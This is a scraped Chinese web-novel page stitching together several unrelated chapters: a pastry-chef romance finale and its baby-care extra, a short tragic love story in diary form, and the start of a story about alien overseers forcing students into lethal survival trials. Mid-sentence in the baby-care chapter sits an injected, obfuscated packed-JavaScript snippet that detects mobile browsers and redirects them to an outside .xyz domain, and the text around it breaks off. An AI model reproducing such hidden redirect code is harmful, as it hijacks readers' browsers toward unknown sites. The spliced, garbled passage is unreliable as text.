周予白的耳朵红得像樱桃,但他的笑容比温晚见过的任何时候都要明亮。他小心地切下一块"糖霜吻"送到温晚唇边。 味道在舌尖绽放——白巧克力的甜,荔枝的清爽,玫瑰的芬芳,还有...爱的味道。温晚突然明白,有些故事,从第一口就注定了结局。 一年后,巴黎国际甜点艺术展的舞台上,周予白和温晚并肩站在一起,面前摆着他们的新书——《糖霜吻:当味觉遇上爱情》。这是周予白曾经失利的地方,也是他们爱情开花结果的地方。 签售台前排起长队,读者们手捧新书等待签名。温晚熟练地与粉丝互动,而周予白虽然仍有些害羞,但已经能够自然地接受赞美。 "最后一本了。"工作人员宣布。 一位年轻女孩走上前,将书递给周予白:"能写一句给''最懂得甜的人''吗?" 周予白和温晚相视一笑。他提笔写下:「你已经找到了。」 合上书,周予白突然单膝跪地,在全场惊呼中掏出一枚戒指——戒托设计成糖霜花朵的形状,中央镶嵌着一颗蓝宝石,如同"雪夜星辰"的颜色。 "温晚,"他的声音因激动而微微发颤,"你愿意...成为我余生最甜蜜的意外吗?" 温晚的眼泪夺眶而出。她拉起周予白,在无数镜头前吻住他,用行动代替了回答。 当闪光灯亮起时,他们的身影被永远定格——甜点师与美食博主,害羞的天才与开朗的探索者,周予白与温晚。就像最好的完美的和谐。 [正文完] 22. 第 26 章[番外] 凌晨三点十七分,婴儿监控器里传来一阵刺耳的哭声。温晚条件反射般弹起来,却被一只手臂轻轻按回床上。 "我去。"周予白的声音带着浓浓的睡意,却已经翻身下床。 温晚迷迷糊糊地点头,听着丈夫光脚踩在地板上的声音渐渐远去。她本想再睡一会儿,但五分钟后,哭声不仅没停,反而更加撕心裂肺。她拖着疲惫的身体走向婴儿房。 推开门,眼前的场景让她瞬间清醒——周予白正单膝跪地,手里拿着厨房用的电子秤,小心翼翼地往奶瓶里添加奶粉,嘴里还念叨着:"再0.5克...好了,现在水温要精确到60度..." "周予白!"温晚快步上前夺过奶瓶,"你在干什么?" 周予白抬起头,黑眼圈在苍白的面色上格外明显:"奶粉比例不对...她不肯喝..." "你不能像称面粉一样称奶粉!"温晚试了试奶温,直接塞进女儿小葡萄嘴里。哭声立刻停止了,只剩下满足的吮吸声。 周予白瘫坐在地上,头发乱得像鸟窝:"我试了三次...她一直哭..." 温晚看着这个曾经在国际甜点大赛上从容不迫的男人,此刻却被一个三个月大的婴儿打败,心一下子软了。她蹲下身,空着的那只手抚上他的脸颊:"新手爸爸,配方奶粉包装上有勺数说明。" 周予白的眼睛眨了眨,长睫毛在眼下投下一片阴影:"我以为...精确点更好。" 小葡萄在温晚怀里发出满足的哼哼声,小手无意识地抓着妈妈的衣服。温晚突然注意到墙上贴满了便签纸,走近一看,居然是喂奶时间、尿布更换记录,甚至还有大便颜色分析,每条记录都精确到分钟。 "你...做了数据统计?"温晚哭笑不得。 周予白耳尖泛红:"方便观察规律..." 温晚正想说什么,小葡萄突然打了个响亮的嗝,紧接着,一股温热的液体顺着她的肩膀流下来。 "呃..."温晚僵在原地,"我想我们需要换衣服了。我和她。" 周予白立刻站起身:"我去拿毛巾。"他匆忙跑出去,差点撞上门框。 温晚低头看着怀里一脸无辜的女儿,忍不住笑了:"小坏蛋,把米其林三星甜点师爸爸逼成这样,你很有本事嘛。" 等周予白拿着毛巾回来,温晚已经给小葡萄换好了衣服。他小心翼翼地擦拭妻子肩头的奶渍,动作轻柔得像在对待一件珍贵的甜品装饰。 "今天你有个新品试吃会,"温晚突然想起来,"要不要再睡会儿?" 周予白摇摇头:"你先睡,我...有个想法。" 温晚太熟悉这个表情了——每当他有新的甜点灵感时,眼睛就会亮得像星星。她把已经睡着的小葡萄放回婴儿床,亲了亲丈夫的脸颊:"别太晚。" 回到床上,温晚却睡不着了。她拿起手机,发现才凌晨四点十五分。朋友圈里,林妙刚发了一组深夜加班的照片。她点了个赞,立刻收到回复: 「新任妈妈怎么这个点在线?小葡萄又造反了?」 温晚笑着回复:「刚镇压了一场奶粉革命。你信吗,周予白用电子秤称奶粉。」 林妙秒回一串爆笑表情:「建议下次直播主题:米其林爸爸的育儿灾难」 放下手机,温晚轻手轻脚地走向厨房。果然,周予白正伏在料理台前写写画画,旁边的小奶锅里热着牛奶。 "睡不着?"她轻声问。 周予白回头,递给她一杯冒着热气的饮料:"无咖啡因拿铁。" 温晚接过杯子,温暖立刻从指尖蔓延到全身。她凑近看他的草图——是一款造型可爱的婴儿饼干设计图。 "给小葡萄的?"她认出了那些柔软的、适合抓握的形状。 周予白点点头:"我在想...有没有可能做出营养丰富又安全的婴儿甜点。少糖,无添加剂,易消化..." 温晚靠在他肩上,闻着他身上熟悉的香草和牛奶气息:"我们的女儿真幸运,有世界上最棒的甜点师爸爸。" 周予白的手顿了一下,然后继续画图,但温晚能看到他嘴角微微上扬的弧度。 早上八点,温晚被小葡萄的咿呀声唤醒。床上只有她一个人,周予白那边已经空了。她抱起女儿,闻到一阵诱人的香气从厨房飘来。 推开厨房门,温晚瞪大眼睛——料理台上摆满了各种迷你甜点,而周予白正抱着小葡萄,一本正经地讲解:"这个是香蕉燕麦饼,无糖;这个是胡萝卜苹果泥马芬,微量蜂蜜..." 小葡萄挥舞着小手,准确无误地拍在了爸爸脸上的一块面粉印上。 "看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353456|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来她批准了。"温晚笑着说。 周予白转过身,脸上还带着女儿的小手印:"我想试试婴儿友好甜点..." 温晚正想回应,手机突然响起。是一封邮件,来自《全球美食》杂志的主编,邀请她担任新开设的亲子美食专栏负责人,需要经常出差。 她盯着屏幕,手指悬在键盘上方。这是她一直梦想的机会,但现在... "怎么了?"周予白问,小葡萄已经在他怀里开始打哈欠。 温晚把手机递给他。周予白快速浏览邮件,表情不变:"很棒的机会。" "但..."温晚看着昏昏欲睡的女儿,"出差..." 周予白调整了一下抱姿,让小葡萄更舒服地靠在他肩上:"我们可以想办法。比如...带着她一起?" 温晚鼻子一酸。这个男人,永远先考虑她的梦想。 "或者,"周予白继续说,"我可以在家带她。徐睿说店铺运营很稳定..." 温晚走上前,一手接过女儿,一手环住丈夫的腰:"我们慢慢商量。现在,我建议先解决早餐问题。" 周予白点点头,转身去拿盘子。温晚这才注意到,他背后衣服上有一块可疑的黄色污渍。 "周予白...你背后..." 他回头,一脸茫然:"嗯?" "你是不是...用我的Burberry围巾当尿布了?"温晚眯起眼睛。 周予白的表情瞬间凝固:"那个...是...应急..." 温晚深吸一口气,正要发作,小葡萄突然在她怀里咯咯笑起来,露出两个小小的酒窝,和周予白的一模一样。 "算了,"她亲了亲女儿的脸蛋,"看在你这么可爱的份上,原谅爸爸了。" 周予白如释重负,赶紧端上一盘造型可爱的迷你松饼:"特制早餐,无糖版。" 温晚拿起一块咬了一口,意外地发现很好吃。松软的口感和天然的香蕉甜味,确实适合小宝宝。 "这个可以,"她点点头,"但绝对不许再拿我的丝巾当尿布了,明白吗,周予白先生?" 周予白郑重其事地点头,然后趁她不注意,偷偷在小葡萄的辅食记录本上画了个小小的爱心——就像温晚总在他工作笔记里画的那样。 [番外完] 23. 第 27 章 惜 2018.3.15 “喂喂喂,快点起床了,不是说肚子饿了吗?” 从声音上觉得男生语气上听起来有些不耐烦,但是从动作以及表情上还是看得出他很关心躺在床上的人。 躺在床上的是个特别瘦的男孩子。 他好像醒了又好像在故意装作没醒,偶尔动两下手指头偏偏就是不愿意动弹。 “方安乐!” 他还是不动。 “方安乐你再不起我就把皮蛋瘦肉粥倒了。” “别嘛。” 方安乐翻了个身,对着叶忆霖撇了撇嘴,“不是说好煮给我的吗?” “你不是不吃吗?” “我哪有说不吃,晚点吃不行吗?” 方安乐像是赌气一样背过身去,不满的哼了两声,一下就让叶忆霖败下阵来了,立马求饶, “好好好,是我错了,是我不好,我不该催你,”叶忆霖将碗轻手轻脚地放在床头柜子上,蹲在方安乐旁边,摸着他的脸轻声地安慰着,“请问方大公子准备好起床吃饭没有,小的还做了你最爱吃的炸虾,放冷了就不好吃了。” 方安乐这才被说动了,勉为其难的点点头,从被窝爬起来伸了个懒腰,上衣随着动作被带了上去,露出一截白白细细的小腰,叶忆霖眉毛皱了皱最后还是没说什么,将人直接抱了出去。 “这是你第五次下厨。” 方安乐数着手指头说,他真的好瘦好瘦,手指都像根牙签,叶忆霖握了过来放在嘴边亲了亲, “以后还会有更多次。” 但是我们还有多远的以后呢? 2018.3.16 “快换好衣服。” 方安乐显得很雀跃,难得可以出门而且又是去他最想去的游乐园,方安乐简直想要插上翅膀立马飞到游乐园。 叶忆霖看到他难得露出这么开心的笑容又是无奈又是心疼的。 两人当初在一起的时候,因为同性恋的身份不敢在街上做普通情侣能做的亲密动作,后面社会容忍度渐渐提高,叶忆霖自己又开始忙碌于工作上的事情,导致陪伴方安乐的时间少了很多,从一个星期就会一起出门到一个月一次最后到好几个月他才会带着方安乐出门一次。 明明方安乐那么害怕孤独,自己却经常不能陪在他身边。 “走吧。” 叶忆霖宠溺的揉了揉他的头发,很自然的牵起方安乐的手。 两个大男孩在街上手牵手还是挺稀奇的,不少路人都看了过来,叶忆霖不在乎,方安乐就更加不在乎了。 来到游乐园门前,叶忆霖买票的同时也没有放下方安乐的手,这里人很多又吵,新鲜玩意还特别多,不抓紧点方安乐这个不安分的家伙说不定一转眼他就跑了。 “这是你们的票。” 售票的是个特别年轻的小姑娘,小姑娘笑起来有两个酒窝显得很可爱,她像是打气般说道,“你们加油哦!” “谢谢。” 叶忆霖在底下偷偷捏了捏方安乐的手心。 “我想玩过山车!” “不行!” “我想玩跳楼机!” “不行!” “什么都不行还来干吗?” 方安乐气鼓鼓的蹲在地上,也不管那些八卦的人的视线了,进来游乐园都快要一个多小时了,两人就玩了个旋转木马,两个大男孩还要玩这种东西,饶是一向脸皮厚的方安乐都有些不好意思了,从旋转木马下来后就吵着要去玩刺激的项目了。 “你现在不能玩这些。” “但是现在不玩” 他突然不说了,叶忆霖也也沉默下来了。 “好吧陪你” “算了还是玩别的吧。” 最后两人选择坐摩天轮来作为一天的结束点,当他们坐到最高点的时候,叶忆霖突然闭上双眼双手合十,等他睁开眼睛便看到方安乐一脸笑的坏坏样子看着他, “哟哟,程序员你信这些?” 方安乐记得以前自己跟叶忆霖说过很多小趣事,其中一个便是听说做摩天轮坐到最高点许愿的话,愿望会实现,那时叶忆霖经常加班不回来陪自己,在家里的他无聊的要命只好不断发信息骚扰,没想到叶忆霖都记得。 我信, 因为这是我最后能想到的办法了。 2018.3.17 “别起来,好好躺床上。” 方安乐的脸色极其差,他躺在床上都咳嗽个没停,每一声都听得叶忆霖心里很难受,恨不得能替他受那些苦。 “我,我想,想去外边看看。” 叶忆霖工作后开始积攒不少钱,两人也从小小的家搬到更大的房子,虽然叶忆霖是个工作狂人平时对方安乐好像很少关注,但是他对 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“叶忆霖出去应酬喝酒了,要是他喝得醉醺醺回来,你们说我要不要揍他一顿把他扔到卫生间?” “叶忆霖怎么还不回来啊,我好想他啊。” 其实他每晚都会回来睡在他身边,只是太晚了,方安乐都不知道。 2018.3.18 叶忆霖最后还是决定把后花园的花全都铲除,邻居问他, “舍得吗?那可是你最后的寄托啊。” 舍得吗? 叶忆霖笑了笑,他最不舍得的东西都没了,还真的没有什么好舍不得了。 “你是不是怪我以前那么狠心总是让你一个人,现在你啊,彻底不要我了?” 他抱着一束白色菊花,碑上的图片和其他的都不一样,别人都是单人照,只有他面前的这个碑是一张合照。 一个男孩表情很正经,旁边那个却笑得很开朗。 叶忆霖到现在才发现在死亡面前,他引以为傲的能力,他辛苦赚来的金钱简直是不堪一击。 不堪一击后让他更加体会到有好多事情你不去做有多人你不去珍惜,说不定哪天你就会永远失去。 那么他最后再拜托一次上天, 让他下辈子天天挂在方安乐身上吧。 24. 学校被监管者统治了 夜已深,天仰眺望着远处绿化被破坏的教学楼,目光平静且疲惫,不知道心里在想些什么。过了一会儿,若有所感地看向天空,却见原本深灰色的月亮突然染上了一抹诡异的红,如梦如幻,刹是诡异,他的心跳莫名快了一拍。 天仰微微皱了皱眉,摸出内衣兜里的眼镜,想要更仔细端详月亮,却看不出什么究竟。半晌,他回过身进了屋。 论谁看到这么诡异的场景都会第一时间和身边人吐槽,可天仰并没有这么做。他看了看寝室内三个沉默寡言的室友,还是转身回到了床上。 这些天,他们学校已经发生了非常多不可思议的事情,这种看似不大正常的事情已经激不起他们的兴趣了。除非是像前段时间学校地理环境莫名其妙遭到严重破坏,全校网络中断,领导大批无故失踪,校门出去了也会离奇传送回校门口这种事才能引起他们的注意。 毕竟,在全校网络中断前的最后一分钟他们已经收到了来自辅导员的紧急通知,除了宿舍楼,哪里都不能去。 天仰从床上摸出手机,打开的那一瞬间亮度简直要闪瞎他的眼,这时他才想起来寝室这个点早断电了。 虽然只能待在宿舍不能出去,但是到了平常熄灯的点,电会自动断掉,也不知道是谁在操作。 没有网络的时候只能依靠短信来联络。 手机上是沈郢给他发来的几条短信。 沈郢还是一如既往地早睡,好像压根没有受到环境的影响。可天仰知道,他的心里肯定很煎熬。 所有信号中断,能够用来联络的短信也只能在校园使用。与外界联系不上,也不知道外面怎么样了,父母、亲戚、朋友不知道是不是也跟他们一样遭受着这样的离奇事件。 天仰叹了叹气。 也不知道外面的人注意到他们学校的离奇事件有没有报警,如果说报警也没用,他们真的是只能困在这里等死。 本以为上了大学就能好好学习个一技之长,将来好找个像样的工作。虽然没什么人对他抱有太大希望,但是他自己还是很拼命地考上了大学,和他的朋友沈郢一起上了同一所大学。可没想到,才上了大学半个月都不到就出了事,完全无法对现在的处境期待下去啊...... 天仰倒头埋在枕头上,试图让自己睡着,却不知道为什么心里隐隐感到不安。 窗外月光依旧柔和,而那血染的红却不知不觉侵染了整个月亮,渡上一层可怕的气息。 操场上,一团诡异的光圈突然出现,逐渐扩大。 第二天天亮的时候,天仰是被室友吵醒的,他的脑子还有些迷瞪,就听见室友吵吵闹闹地聚集在窗户前。 “啊,天仰快来看啊,出事了......” 室友的一句话顿时让天仰清醒了不少,他脑子里一闪而过昨晚见到的诡异红色,动作迅速地翻身下床,却因为动作太急而有些贫血,眼前空白了一会儿,便马上挤到窗户边张望。 宿舍楼与面的教学楼前隔着一个空旷的操场,按理来说这段时间不应该有人。但此时操场上却出现了一团巨大的诡异的雾气,而雾气的周围布满了无数身穿异服的人。站姿挺拔,纪律森严,没有一点声音,按着奇特的队形集中,每个队列前站着一名看似指挥官的人,衣服比其他人更加华丽些。 而操场的周围已经聚集着很多不怕死的学生在进行围观。 不过,这些人看上去都和人长得一模一样,但直觉告诉学生们,他们可能并不是这个世界的,可能也不是人。 这个直觉一直到天仰被好奇心旺盛的室友一同拉到操场上围观,才深刻的感觉到。 他们,或许真的不是人。 天仰看着眼前没有任何表情的“人”聚集在一起,没有任何动静,如同披着人皮的机器,没有一点人的气息,甚至表情都是一模一样,给人毛骨悚然的感觉。有一种压迫感在心中蔓延开来,一发不可收拾...... 如果连他也产生了这种情绪,那沈郢肯定也不好受。 他当机立断掏出手机给沈郢发了条短信过去,让他千万不要出宿舍。 沈郢的宿舍是在另外一栋,被挡着,看不到操场上发生的情况。 依照多年的交情,这条消息虽然没有明确说明是什么情况,但沈郢知道一定是出了什么大事,不会轻易出门。 天仰盯着场上的“人”,一句话都说不出来。 全场陷入了死寂。 这时全校广播响起一道机械般的声音:“所有人听从最高监管者的命令,反抗者,死。” 全校顿时一片愕然。 没有人听得懂这是什么意思。 最高监管者是什么?死是真的死还是忽悠恐吓他们的?他们究竟是什么东西? 未知的恐惧在学生中弥漫开来,不知是谁先开始往宿舍楼跑的,带动了满多人也一同奔向宿舍。而操场上站着的那些“人”,似乎对他们的行为没有起任何反映,依旧呆在原地。只有每个队列前的那几个“人”聚集在了一起,周围逃跑的人动静盖过了他们交谈的声音。 天仰仔细看了看,一共有六个“人”。 还来不及他多看几眼,室友一个劲儿地揪着他,压低声音,似乎是害怕被那些人不人鬼不鬼的东西听到:“天仰还愣着干什么,赶快快跑啊!” 天仰猛地被室友一拽,有些没反应过来,目光还停留在那六个“人”身上没有移开。 其中,一个胸前戴着朵含苞欲放的白玫瑰的“人”似乎注意到了他们这里的动静,烟紫色的眸子里没有一丝波澜,朝他们望去。 天仰和他对上视线时,还没来得及做出任何反应,那“人”已经先一步移开视线。 被拽走时,天仰满脑子那朵白玫瑰...... 回到寝室。 “卧槽卧槽,刚刚走的时候有个人好像往我们这看了一下,我是不是要死了......” “啊天哪,刚才那几个有动静的不会是什么监管者吧,看起来好像比那群不会动的人更恐怖啊!” “这不是重点,重点是你们有没有听清楚那个广播说的啥啊啊啊......” 室友一个个吼出来,控制不住内心的咆哮,只有天仰一时间还没有太大反应。 与其说没有反应,倒不如说,他对现在发生的这些有着不真实感。 天仰看着室友接二连三地发问,他甩了甩头,试图让自己冷静些,掏出手机看沈郢有没有发来什么消息。 其实他这三个室友的反应已经算是很好了,比起其他已经在崩溃边缘的寝室,他们三个的鬼哭狼嚎看起来更像是在闹着玩。 更何况他们仨平时就挺闹腾。 “那个监管者,我看应该就是那六个人。”待室友稍微冷静一些了,天仰已经思考了一番后才开口:“毕竟就那六个人行动自如,现在虽然不清楚是什么情况,但是学校老师什么的应该不会坐以待毙,放任这些外来者,给我们一个合理的解释。” 话音刚落,广播的声音再次响起,开头是有人轻拍了几次话筒,确定声音能传出来,才有一道似人非人的声音传出来:“我是来自HNR星的监管者,代号004。从现在开始这所学校的监管权在我们手里,现在由我来安排近期所有事项。明日起请学校里所有的幸存者必须参加生存考验,按照你们的专业顺序轮流进入考验场地,其余人必须在周围观摩,学习生存技巧。成功存活者生,无法出来者死。违抗监管者死。另有大批监管者的部下监察生进行学校巡视,安排各位的出行顺序,不得扰乱纪律,违抗者死。” 这段话说完,全校陷入了死寂。 不知过了多久,周边的女生宿舍爆发了成片的哭喊声,紧接着男生宿舍也传来了不少因为崩溃而砸东西的怒吼声。 天仰的寝室倒是还好,四个人凑在一起,乖乖听完广播。直到其中一个室友说:“天仰,那个,要不你下次还是不要说话了,你不说话其实还好,可你一说话就......” 话还没说完,室友先不受控制的笑起来,其他室友也忍不住笑了起来,于是四个人顿时笑成了一团。 也不知道是他们没心没肺,还是神经过于大条,都这种时候了还能笑出来。 室友抹了抹笑出来的眼泪:“哎,说真的,我感觉还挺奇幻的,小时候希望学校被异世界的人统治不用上课的想法终于实现了,可是怎么偏偏是在大学哎奇了怪了,太可惜了这要是放在小学初中哎,能高兴死一堆人”。 “那你刚刚还吓成那副鬼样,说实话这种想法我初高中也有过,不过一直没机会实现。唉,现在突然发生了,是不是马上会出现一个救世英雄什么的?” “都这时候了还想这个问题,我们不应该像电影里开始想想接下来该怎么办,逃生方法啥的。” 几个室友都是从小看奇幻动画长大的,有点不寻常的想法也是正常的。不过天仰听着他们的对话,虽然感觉很想笑,但也意识到一些问题。 接下来该怎么办? 学校变成了这副鬼样子还受法律管吗? 外面会不会也出事? 白玫瑰监管者 天仰看着手机里沈郢发来的一个好字,不知道接下去怎么说。 那个广播他肯定也听见了。 沈郢是一个多愁善感的人,和大多数人一样,面对这种突发事件肯定一时间慌了神,哪怕他大多时候保持良好心态,这种时候也做不到冷静。这点天仰就跟他完全不同了,天仰在乎的东西很少,毕竟他在外没有需要担心的家人朋友,他需要担心的只有他自己,以及沈郢这个朋友,可能还有寝室那三个神经过于大条的室友以外就没有什么人了。 天仰惆怅地看着手机,不知道怎么跟沈郢开口。 毕竟沈郢是他从小玩到大的邻居,关系很铁,堪比家人。 “哎,外面走廊怎么突然多了那么多......人?!”一个压低的呼声引起了宿舍几个人的注意。 人??! 天仰愣了愣,反应很快地拉开宿舍门,看着隔壁的几间寝室也有人开门,却连门口也不敢踏出一步。 走廊上密密麻麻地站着很多监察生,井条有序地排列整齐,守在各个宿舍门口,寸步不离。甚至还有专门在各个楼层巡视的小队,操场上,甚至校园里的各个角落布满了这些“人”。 “啊这,这是监视吧!” 对面寝室的人忍不住爆了句粗口。 天仰冷漠地看着这些人,说不上来是什么情绪,但是被人监视的感觉确实是不好受的,转身:“可不是吗,监管者,不就是来监管我们的吗。” 门外的监察生像是没听到这些话,面无表情的守在原地。 次日,凌晨六点整。 校园广播以如雷贯耳的声音下达了第一条指令:“一刻钟内,所有学生必须到达操场,以专业顺序集中,监管生带队。” 天仰被这声音刺激得头皮猛地一炸,困意在脑海里翻涌,艰难地睁开眼睛。 寝室门被某种力道砸得砰砰直响,一个室友忍着困意开了门,刚被广播吵醒,脑子还嗡嗡的,一个字也没有听进去。 此时,一个监察生面无表情地站在寝室门口,正对着他。 室友看清来人后,反应很大地后退好几步。 不过监察生并没有进来,死死地盯着寝室几个人,确保每一个人都在,重复了一遍刚才广播的内容,便离开去敲下一个寝室的门了。 室友惊魂未定地关上门,喃喃道:“这还让不让人活了......” 另一个室友在床上哀嚎:“这TM才六点!!!” 天仰捂着头坐起来,脑子有些充血,缓了好一会儿,听到外面似乎有什么特别大的动静,仔细听了一会儿,好像是哪个男生愤怒的声音,不过一小会儿便完全失去声音了。 “卧槽卧槽,有个男的抗议监察生的行为,被一群监察生带走了。” “啊?这么那啥?” “就是啊,这都什么事......” “唉,要怪就怪当初怎么考了这所这么烂的大学......” 刚开门的室友莫名其妙跟对门的大兄弟聊起来了,天仰跃下床,一巴掌呼在室友的身上:“桦烙!都什么时候了,还聊!” 桦烙不好意思地挠挠头:“哎给忘了正事,意外意外,嘿嘿,在绝境下保持乐观心态嘛。” 天仰无话可说,赶忙去叫另外一个室友起床。 现在还有一个在赖床,另一个正坐床上放空试图清醒。 一刻钟的时间对男生来说还算充裕,等四个人全部弄好,负责他们专业的监察生已经在门口等待了很久。 几个人都不敢出寝室门,最后还是天仰在几个室友非常虚假的挽留下第一个走出了寝室门。 等待他们专业的人都集齐了以后,监察生才把他们带到了操场。按着他们规定的顺序排列,把人送到操场后,又由其他的监察生看守。 天仰四处望了很久,也没有看到沈郢,便只好耐着性子等着。 不过值得注意的是,在他们面前的操场中央,有一个看不清内部结构的雾气团挡在那里,周围围绕着许多监察生,看起来警戒森严。 七点整。 操场上聚集了各个专业的学生,对现下的情况虽然不了解,但也没有贸然行动,发生什么不必要的争执。 其实现场的氛围异常的沉重,但凡带了脑子的人此时也不敢引发什么动静。只能一个个沉默在原地,看着周围的监察生。害怕的人团在一起,不愿意看到什么能够引起他们恐惧的东西。 不远处突然引起了一阵骚动,天仰寻声望去,目光停在昨天监管者聚在一起的地方。远处,六个监管者再次出现,站在一个看似雾气团入口的地方进行谈话。 其中那个胸前戴着白玫瑰的似乎对谈话并无兴趣,目光一直停留在学生中,好像在迫切地寻找什么。 天仰看了几眼便转移了目光,看向排头的几个专业。 他是产品设计专业的,按照开头字母的排序,他们专业算挺前面的,前面专业虽少,但班级挺多的,这样看大概隔着五六个班。 可以先看看前面会发生什么再做打算。 过了一阵,广播缓缓响起:“请排序较前的专业依次进入生存考验的场地,每次同时进入三个班级的学生。考验规则,一刻钟内进行存活考验,时间到了开辟出口。失去生命者淘汰,活着离开考场的幸存者即为考验成功,可以获得进入幸存者场地的权利。还未轮到的专业在原地观摩学习生存技巧。另。一场考验结束等待三刻钟打扫考验场地。” 一时间,最开头的专业班级先陷入恐慌。疯狂的尖叫声遍布整个操场,人群混乱成一片,他们三个班的人被监察生围成好几层看守。有人想要趁乱溜走,或是窜进别的专业的队伍,或者直接跟监察生反抗。而原本静守在原地的监察生一个个动作迅猛地拦下学生,用武力驱赶他们回到原地。更有不服从管教的直接被打得头破血流,失去行动力,堪堪留在原地。 这一场面,令其他几个专业的人不敢蠢蠢欲动。或许是因为他们的专业排的比较后面,有着侥幸心理,万一刚好到他们这里就结束了呢。 ……大概在前三个班停止暴动后,学生们就便被带到雾气团前,一个接一个送了进去。没有人敢反抗,也没有人敢逃跑。 监管者队伍的一个监管者拿着怀表站在入口处看着时间。 其他监管者分散开来。 天仰有些担忧地往后面的专业看去,试图在人群中找到沈郢。 忽然,站在天仰旁边的桦烙狂扯他,紧张到一句话也说不出来。 这种东西是能随随便便说的吗 天仰回过头,看到他们专业的场地前,站着一个监管者。 那人穿着银灰色流丝材质的长领衫,纽扣一粒粒扣到脖颈,显得安稳沉着。下身搭配同色系的长裤,衬托出修长笔直的腿。他相貌俊秀,仪表偏偏,没有任何表情的脸上带着几分冷意。 而天仰的注意力完全被他胸前娇艳欲滴的玫瑰花吸引了。 这玫瑰花和衣服反差感很强烈,不过并不奇怪,反而带着一种违和的美感。 似乎是察觉到天仰强烈的视线,监管者注意到他,脸色显得稍缓了些,停顿了大约一秒,迈着大步朝着这里走来。 天仰瞬间有些慌乱起来,看着这么可怕的非人生物走过来,有一种想避开的冲动。但监管者的目光牢牢锁在他身上,让他完全不敢动弹。 谁来救救我...... 我根本不想被任何人注意到啊...... 正当天仰感受着监管者不断逼近的压迫感时,一道同样银灰色系的身影将监管者拦下。 “你上哪去呢......”那个监管者看起来跟玫瑰花监管者关系很好的样子,直接搭了半条手臂在玫瑰花监管者肩膀上。 “松开。”玫瑰花监管者表情顿时寒了寒,直接把那人的手臂从肩膀上甩下去。 因为离得还有段距离,天仰听不清他们之间的对话,只觉得玫瑰花监管者的脸色不太好。趁着这个间隙,天仰猫着腰从人群中钻进去,躲进人海中。 等玫瑰花监管者恍神回来,天仰已经消失了踪影。 他的表情登时难看起来,002监管者察觉到他的表情,怂得躲到了一边,小小声说:“006刚才到处找你,说上面来了任务......” 002在玫瑰花监管者愈来愈可怕的眼神下,声音逐渐变小。 玫瑰花监管者缓了缓神色,看向原本天仰所在的位置,暗自记下这个专业,便和002一道离开。 另一边,天仰缩在室友附近,看到玫瑰花监管者离开,顿时松了一口气。 虽然监管者看上去对他好像并没有恶意,但是这样的环境下让他去相信一个看起来是反派方的人,他还是更愿意选择逃跑。 他不是害怕,只是不想把生命随便了结在这里。 还只是随便盯了一会儿人的原因。 “生存考验即将开始,请参加考验的学生寻找安全的地方进行躲避。在场外的学生即将开通学习权限,观看并学习生存经验。”站在雾气团入口处的监管者004读完相关规定,便打开了一个特殊装置。 霎时,地面似乎轻微震动了一下。紧接着,操场中心的雾气团一瞬间散开,快到只在一眨眼的功夫,雾气便全部消散了。而原本雾气包裹的东西真正显露出来,那是一个透明的类似于玻璃罩的特殊薄膜,虽然看上去很薄脆,但实际上厚实无比,哪怕是自然灾害也不会将其摧毁。 监管者还没有解释什么,周围的学生就明白了,这是怎样的绝境。 薄膜里,是刚刚进去的三个班学生,总数大约在一百五十个左右。此时,分散在各个地方。而他们的周围,早已不是原来的操场。而是变化成了诡异的丛林,甚至还有地球上从未出现过的生物,巨大且可怕。四周黑漆漆的,没有灯也没有一丝光亮,看上去就和原始丛林差不多。而里面的生物看上去也很不友好,遍布了几乎整个丛林,哪怕阴暗角落也有奇怪的生物在爬行,时不时发出可怕的动静。 还在外面的其他专业学生已经被吓到说不出话来,更别提已经进去的那一百五十多号人,有当场吓晕的,也有到处逃窜被生物袭击的,甚至有人想原路返回,却发现入口已经消失不见。 周围的学生有已经进去的朋友,在外面担心不已,看到朋友在里面匆匆跑过,冲他拼命地招手,对方却连看都没有往自己这里看一眼。 天仰敏锐地观察到,似乎里面的人看不见外面,只有外面的人能看到里面。 幸好自己的专业排在沈郢的前面,还能提前进去看看什么情况。虽然不一定能活着出来,但万一活着出来能帮上沈郢。 随着刚才那一声广播,薄膜里的生物变得蠢蠢欲动起来。慌慌张张进去的那一百来号人,起初一大部分都团聚在一起,后来被阴影处突然冲出的异种被吓得四处逃窜,离得近的人甚至被活活碾去半个身子,只留下另一半摇摇欲坠的身体倒在地上,血流满地。 在外面观看的学生看到这些不寻常的东西连继续看下去的勇气也没有了,神情恍惚地思考着人生。 这个透明薄膜里覆盖的大小与原来的操场不同,看上去比原来大上了百来倍,更有利于在里面躲藏,同时涵盖的危险也更多。毕竟,你也不知道,什么时候会从你藏身的地方冒出什么可怕的生物,你也没有能力从满是毒物的生物嘴下离开。 现在的孩子,从小被父母保护的太好,以至于忘记了最根本的自我保护意识。很多人哪怕是连一个轻松的前滚翻的逃跑防护意识也没有,遇到危险的时候只能眼睁睁地愣在原地。 天仰看着薄膜里面的学生,内心一直有一种压迫感,他在担心他自己,能不能从里面出来。如果自己死在里面了,沈郢该怎么办,谁能帮帮他...... 这些年,沈郢在他的心中早就如同他的家人一样。 很重要。 这时,薄膜里的学生传来了撕心裂肺的声音,地上布满了鲜艳的血迹。有人在紧要关头为了活下去,不惜把同伴推出去。有人已经在这场绝境中,精神崩溃,放弃挣扎。有人寻到了合适躲藏的角落,却最终躲不过突然出现的生物,死在了被人遗忘的暗处。 天仰看着眼前的景象,表情有些沉闷。 灾难总是突然降临,无论谁对谁错,都会发生。 “妈呀!!!”突然一声惊悚的叫声,桦烙猛地躲到天仰身后。 天仰愣了愣,视线锁定在正前方,看清前方不远处的人后,他也一个闪身,猫到其他室友身边。 是玫瑰花监管者! 然而,他们班的人因为桦烙的叫声似乎都看到了监管者,吓得一个劲儿往后钻。要不是旁边有一群监察生看着他们,不让他们超出规定的范围,这会儿应该吓丢了半个班以上。 毕竟,在这种情况下,监管者看起来就是个无恶不作的坏人。 就这么一会儿功夫,天仰已经被挤了出去,紧张地背对着后面。 